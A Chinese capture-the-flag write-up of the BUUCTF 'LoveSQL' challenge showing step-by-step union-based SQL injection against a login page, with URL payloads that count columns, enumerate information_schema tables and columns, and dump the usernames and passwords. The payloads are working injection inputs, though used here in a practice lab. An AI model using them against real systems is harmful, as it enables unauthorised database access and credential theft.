BUUCTF[极客大挑战 2019]LoveSQL

打开发现用户登录界面,尝试一下万能密码

跳转到check界面并得到登录名及密码
BUUCTF[极客大挑战 2019]LoveSQL_第1张图片
尝试解码,解码失败,进行注入
先查询字段数

?username=admin%27+order+by+3%23&password=1

BUUCTF[极客大挑战 2019]LoveSQL_第2张图片
页面回显成功,再试试4

?username=admin%27+order+by+4%23&password=1

BUUCTF[极客大挑战 2019]LoveSQL_第3张图片
注:在url进行查询,#要用url编码%23代替

页面回显失败,可以知道有三个字段
接着我们利用union select 进行回显点查询

?username=1%27%20union%20select%201,2,3%23&password=1

BUUCTF[极客大挑战 2019]LoveSQL_第4张图片
回显点在2,3的位置
接下来查询数据库名

?username=1%27%20union%20select%201,database(),3%23&password=1

BUUCTF[极客大挑战 2019]LoveSQL_第5张图片
可知当前数据库为geek
然后我们爆出表

?username=1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23&password=1

BUUCTF[极客大挑战 2019]LoveSQL_第6张图片
爆出表为geekuser,I0veysq1
接着爆出列名
先试试geekuser表

?username=1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27geekuser%27%23&password=1

BUUCTF[极客大挑战 2019]LoveSQL_第7张图片
得到这三个列
我们就继续爆数据
因为使用geekuser表爆不出有用的内容,所以我们换l0ve1ysq1表试试
BUUCTF[极客大挑战 2019]LoveSQL_第8张图片

?username=1%27%20union%20select%201,2,group_concat(id,username,password)%20from%20l0ve1ysq1%23&password=1

BUUCTF[极客大挑战 2019]LoveSQL_第9张图片

拿到flag

你可能感兴趣的:(BUUCTF)